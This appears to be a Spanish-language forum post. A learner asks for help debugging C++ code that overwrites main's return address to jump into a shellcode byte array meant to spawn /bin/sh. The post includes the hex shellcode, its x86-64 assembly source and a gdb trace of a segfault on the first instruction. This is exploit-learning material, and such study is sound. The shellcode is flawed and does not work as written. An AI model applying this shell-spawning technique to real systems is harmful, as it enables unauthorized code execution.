Maldita sea ahora tengo otro problema.
Al final tengo el código así:
#include<iostream>
using namespace std;
//void funcion();
char hole[]="\x55\x48\x89\xe5\xff\x25\x29\x00\x00\x00\x5e\x48\x31\xc0\x88\x46\x07\x48\x89\x76\x08\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xc0\x48\x31\xdb\x48\xff\xc0\xcd\x80\xff\x15\xd1\xff\xff\xff/bin/edx";
int main(){
long *ret;
ret= (long*)&ret;
ret+=2;
*ret = (long)hole;
}
/*void funcion(){
asm("jmp *0x29(%rip);"
"popq %rsi;"
"xorq %rax,%rax;"
"movb %al,0x7(%rsi);"
"movq %rsi,0x8(%rsi);"
"movq %rax,0xc(%rsi);"
"movb $0xb,%al;"
"movq %rsi,%rbx;"
"leaq 0x8(%rsi),%rcx;"
"leaq 0xc(%rsi),%rdx;"
"int $0x80;"
"xorq %rax,%rax;"
"xorq %rbx,%rbx;"
"inc %rax;"
"int $0x80;"
"call *-0x2f(%rip);"
".string \"/bin/shxxx\";");
}*/
Ahora tengo un error super raro. He conseguido que la dirección de retorno de main pase a la dirección de hole[] para poder ejecutar la shellcode.
Pues bien, ahora el error(segmentation faoult)esta dentro de la shellcode, ¡en la 1º linea de la shellcode! Mirad:
(gdb) run
Starting program: /home/tuket/a.out
Breakpoint 1, 0x00000000004006e8 in main ()
(gdb) stepi
0x00000000004006ec in main ()
(gdb)
0x00000000004006f0 in main ()
(gdb)
0x00000000004006f4 in main ()
(gdb)
0x00000000004006f8 in main ()
(gdb)
0x00000000004006fc in main ()
(gdb)
0x0000000000400700 in main ()
(gdb)
0x0000000000400705 in main ()
(gdb)
0x0000000000400708 in main ()
(gdb)
0x000000000040070d in main ()
(gdb)
0x000000000040070e in main ()
(gdb)
0x0000000000601060 in hole ()
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x0000000000601060 in hole ()
(gdb) disassemble 0x0000000000601060
Dump of assembler code for function hole:
=> 0x0000000000601060 <+0>: push %rbp
0x0000000000601061 <+1>: mov %rsp,%rbp
0x0000000000601064 <+4>: jmpq *0x29(%rip) # 0x601093 <hole+51>
0x000000000060106a <+10>: pop %rsi
0x000000000060106b <+11>: xor %rax,%rax
0x000000000060106e <+14>: mov %al,0x7(%rsi)
0x0000000000601071 <+17>: mov %rsi,0x8(%rsi)
0x0000000000601075 <+21>: mov %rax,0xc(%rsi)
0x0000000000601079 <+25>: mov $0xb,%al
0x000000000060107b <+27>: mov %rsi,%rbx
0x000000000060107e <+30>: lea 0x8(%rsi),%rcx
0x0000000000601082 <+34>: lea 0xc(%rsi),%rdx
0x0000000000601086 <+38>: int $0x80
0x0000000000601088 <+40>: xor %rax,%rax
0x000000000060108b <+43>: xor %rbx,%rbx
0x000000000060108e <+46>: inc %rax
0x0000000000601091 <+49>: int $0x80
0x0000000000601093 <+51>: callq *-0x2f(%rip) # 0x60106a <hole+10>
0x0000000000601099 <+57>: (bad)
0x000000000060109a <+58>: (bad)
0x000000000060109b <+59>: imul $0x786465,0x2f(%rsi),%ebp
End of assembler dump.
(gdb)
Como podréis observar el segmentation fault aparece en la 1º linea de la shellcode y esa linea tiene un push.¿Como demonios puede dar segmentation fault un maldito push que simplemente introduce un dato en la pila?
Ayudadme que estoy desesperao xD